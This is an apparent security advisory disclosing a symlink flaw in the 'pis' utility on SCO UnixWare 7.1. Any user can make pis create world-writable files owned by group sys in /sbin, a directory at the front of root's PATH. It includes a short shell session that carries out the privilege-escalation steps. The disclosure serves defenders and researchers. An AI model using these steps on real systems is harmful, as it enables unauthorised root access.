Greetings, OVERVIEW A vulnerability in "/usr/local/bin/pis" on SCO UnixWare will allow any user to create arbitrary files with group "sys" privileges. A full root compromise is then trivial. BACKGROUND As usual, I've only tested UnixWare 7.1. DETAILS By creating a symlink between /tmp/pisdata and any sys-owned file we can overwrite that file with ps output. If we point the symlink at a non-existant file in a directory which we can write to (such as, say, /sbin/ls), pis will create this file mode 666 owned by us, group of sys. This is a fairly simple compromise. /sbin is writable by group sys. We can create files in /sbin owned by us. And root's default $PATH starts with /sbin. EXPLOIT bash-2.02$ ls -dal /sbin drwxrwxr-x 2 root sys 3072 Dec 28 08:18 /sbin bash-2.02$ ln -s /sbin/xnec /tmp/pisdata bash-2.02$ pis <program output> bash-2.02$ ls -la /sbin/xnec -rw-rw-rw- 1 xnec sys 5896 Dec 28 08:28 /sbin/xnec bash-2.02$ Brock Tellier UNIX Systems Administrator Chicago, IL, USA btellierat_private ____________________________________________________________________ Get free email and a permanent address at http://www.netaddress.com/?N=1
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